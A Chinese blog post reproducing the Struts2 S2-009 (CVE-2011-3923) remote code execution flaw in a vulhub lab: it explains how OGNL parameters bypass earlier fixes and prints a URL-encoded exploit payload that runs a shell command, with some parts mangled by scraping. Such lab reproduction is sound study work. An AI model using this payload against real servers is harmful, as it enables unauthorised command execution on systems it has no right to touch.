1. 程式人生 > 其它 >CVE-2011-3923 S2-009復現

CVE-2011-3923 S2-009復現

0X00-引言

學爪哇去了,看不懂原始碼太難受了,一直在門外晃,不懂原理,構造不出EXP

0X01-環境搭建


靶機:CentOS Linux 7

攻擊機:windows server 2016 && Kail

環境:vulhub

專案地址:https://github.com/vulhub/vulhub

搭建vulhub請訪問:空白centos7 64 搭建vulhub(詳細)

0X02-漏洞描述


參考Struts2漏洞分析之Ognl表示式特性引發的新思路,文中說到,該引入ognl的方法不光可能出現在這個漏洞中,也可能出現在其他java應用中。

Struts2對s2-003的修復方法是禁止靜態方法呼叫,在s2-005中可直接通過OGNL繞過該限制,對於#

號,同樣使用編碼\u0023\43進行繞過;於是Struts2對s2-005的修復方法是禁止\等特殊符號,使使用者不能提交反斜線。

但是,如果當前action中接受了某個引數example,這個引數將進入OGNL的上下文。所以,我們可以將OGNL表示式放在example引數中,然後使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法來執行它,從而繞過官方對#\等特殊字元的防禦。

影響版本:2.1.0 - 2.3.1.1

漏洞地址:http://your-ip:8080/ajax/example5.action

0X03-漏洞復現


01-任意命令執行

payload: id為變數,可修改

?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

0X04-工具檢測


工具地址:https://github.com/Liqunkit/LiqunKit_

0X05-檢視日誌


docker ps #檢視容器ID
docker exec -it ID /bin/bash #進入
cd logs #進入日誌目錄
cat localhost_access_log.2021-12-02.txt #檢視日誌
exit #退出容器

0X06-參考


S2-009 遠端程式碼執行漏洞